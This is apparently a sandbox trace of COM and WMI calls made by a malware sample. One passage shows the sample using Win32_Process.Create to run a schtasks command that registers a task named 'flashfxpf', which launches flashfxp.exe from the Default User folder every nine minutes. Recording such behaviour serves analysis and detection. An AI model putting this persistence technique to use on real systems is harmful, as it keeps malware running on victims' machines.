[0162.766] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a350, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0162.766] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a350, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.766] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94930, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0162.766] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94930, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0162.766] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94930, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0162.766] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94930, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0162.766] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94930, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0162.767] IWbemServices:GetObject (in: This=0x1bc37410, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bb93ad0, ppCallResult=0x0) returned 0x0 [0162.789] IWbemClassObject:GetMethod (in: This=0x1bb93ad0, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bb93e40, ppOutSignature=0x1bb7e690*=0x1bb941b0) returned 0x0 [0162.789] IWbemClassObject:SpawnInstance (in: This=0x1bb93e40, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1bc77190) returned 0x0 [0162.790] IWbemClassObject:Get (in: This=0x1bc77190, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e3898*=0, plFlavor=0x27e389c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e3898*=8, plFlavor=0x27e389c*=32) returned 0x0 [0162.790] IWbemClassObject:Get (in: This=0x1bc77190, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e3898*=8, plFlavor=0x27e389c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e3898*=8, plFlavor=0x27e389c*=32) returned 0x0 [0162.790] IWbemClassObject:Put (This=0x1bc77190, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"flashfxpf\" /sc MINUTE /mo 9 /tr \"'C:\\Users\\Default User\\flashfxp.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0162.790] IWbemClassObject:Get (in: This=0x1bc77190, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e3928*=0, plFlavor=0x27e392c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e3928*=13, plFlavor=0x27e392c*=32) returned 0x0 [0162.790] IWbemClassObject:Get (in: This=0x1bc77190, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e3928*=13, plFlavor=0x27e392c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e3928*=13, plFlavor=0x27e392c*=32) returned 0x0 [0162.790] IUnknown:QueryInterface (in: This=0x1bb933f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bb933f0) returned 0x0 [0162.790] IUnknown:QueryInterface (in: This=0x1bb933f0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0162.790] IUnknown:QueryInterface (in: This=0x1bb933f0, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0162.791] IUnknown:AddRef (This=0x1bb933f0) returned 0x3 [0162.791] IUnknown:QueryInterface (in: This=0x1bb933f0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0162.791] IUnknown:QueryInterface (in: This=0x1bb933f0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0162.791] IUnknown:QueryInterface (in: This=0x1bb933f0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bb933f8) returned 0x0 [0162.791] IMarshal:GetUnmarshalClass (in: This=0x1bb933f8, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0162.791] IUnknown:Release (This=0x1bb933f8) returned 0x3 [0162.791] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0162.791] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0162.791] IUnknown:QueryInterface (in: This=0x1bb933f0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0162.791] IUnknown:Release (This=0x1bb933f0) returned 0x2 [0162.791] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0162.791] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0162.791] IUnknown:QueryInterface (in: This=0x1bb933f0, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0162.792] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0162.792] IUnknown:QueryInterface (in: This=0x1bb933f0, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0162.792] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0162.792] IUnknown:AddRef (This=0x1bb933f0) returned 0x3 [0162.792] IWbemClassObject:Put (This=0x1bc77190, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bb933f0, varVal2=0x0), Type=0) returned 0x0 [0162.792] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a290, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0162.792] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a290, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0162.792] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a290, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0162.792] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a350, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0162.792] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a350, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0162.793] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a350, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.793] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a290, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0162.793] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a290, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0162.793] IWbemServices:ExecMethod (in: This=0x1bc37410, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bc77190, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1bc77440, ppCallResult=0x0) returned 0x0 [0163.000] IWbemClassObject:Get (in: This=0x1bc77440, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e3c40*=0, plFlavor=0x27e3c44*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xa34, varVal2=0x0), pType=0x27e3c40*=19, plFlavor=0x27e3c44*=0) returned 0x0 [0163.004] IWbemClassObject:Get (in: This=0x1bc77440, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e3c40*=19, plFlavor=0x27e3c44*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xa34, varVal2=0x0), pType=0x27e3c40*=19, plFlavor=0x27e3c44*=0) returned 0x0 [0163.005] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0163.005] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0163.005] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0163.005] IUnknown:Release (This=0x1a943398) returned 0x1 [0163.007] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bce7900) returned 0x0 [0163.007] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce7900, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0163.007] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce7900, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc940f0) returned 0x0 [0163.007] WbemDefPath:IUnknown:Release (This=0x1bce7900) returned 0x0 [0163.007] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc940f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc940f0) returned 0x0 [0163.008] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc940f0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0163.013] WbemDefPath:IUnknown:AddRef (This=0x1bc940f0) returned 0x3 [0163.013] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc940f0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0163.013] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc940f0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0163.013] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc940f0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bce7920) returned 0x0 [0163.013] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce7920, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0163.013] WbemDefPath:IUnknown:Release (This=0x1bce7920) returned 0x3 [0163.013] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0163.015] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0163.015] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc940f0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0163.015] WbemDefPath:IUnknown:Release (This=0x1bc940f0) returned 0x2 [0163.015] WbemDefPath:IUnknown:Release (This=0x1bc940f0) returned 0x1 [0163.015] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0163.015] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0163.015] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc940f0, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc940f0) returned 0x0 [0163.016] WbemDefPath:IUnknown:AddRef (This=0x1bc940f0) returned 0x3 [0163.016] WbemDefPath:IUnknown:Release (This=0x1bc940f0) returned 0x2 [0163.016] WbemDefPath:IWbemPath:SetText (This=0x1bc940f0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0163.016] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc940f0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0163.016] WbemDefPath:IWbemPath:GetText (in: This=0x1bc940f0, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0163.016] WbemDefPath:IWbemPath:GetText (in: This=0x1bc940f0, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0163.017] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc940f0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0163.017] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc940f0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0163.017] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc940f0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0163.017] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0163.018] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0163.018] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0163.018] IUnknown:Release (This=0x1a943398) returned 0x1 [0163.023] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bce7980) returned 0x0 [0163.024] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce7980, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0163.024] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce7980, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc93d30) returned 0x0 [0163.024] WbemDefPath:IUnknown:Release (This=0x1bce7980) returned 0x0 [0163.024] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93d30, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc93d30) returned 0x0 [0163.025] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93d30, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0163.026] WbemDefPath:IUnknown:AddRef (This=0x1bc93d30) returned 0x3 [0163.026] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93d30, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0163.026] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93d30, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0163.026] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93d30, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bce79a0) returned 0x0 [0163.026] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce79a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0163.026] WbemDefPath:IUnknown:Release (This=0x1bce79a0) returned 0x3 [0163.026] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0163.027] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0163.027] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93d30, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0163.027] WbemDefPath:IUnknown:Release (This=0x1bc93d30) returned 0x2 [0163.027] WbemDefPath:IUnknown:Release (This=0x1bc93d30) returned 0x1 [0163.027] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0163.028] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0163.028] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93d30, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc93d30) returned 0x0 [0163.055] WbemDefPath:IUnknown:AddRef (This=0x1bc93d30) returned 0x3 [0163.055] WbemDefPath:IUnknown:Release (This=0x1bc93d30) returned 0x2 [0163.055] WbemDefPath:IWbemPath:SetText (This=0x1bc93d30, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0163.055] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93d30, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0163.056] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93d30, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0163.056] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93d30, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0163.056] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc93d30, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0163.056] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93d30, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0163.056] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc93d30, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 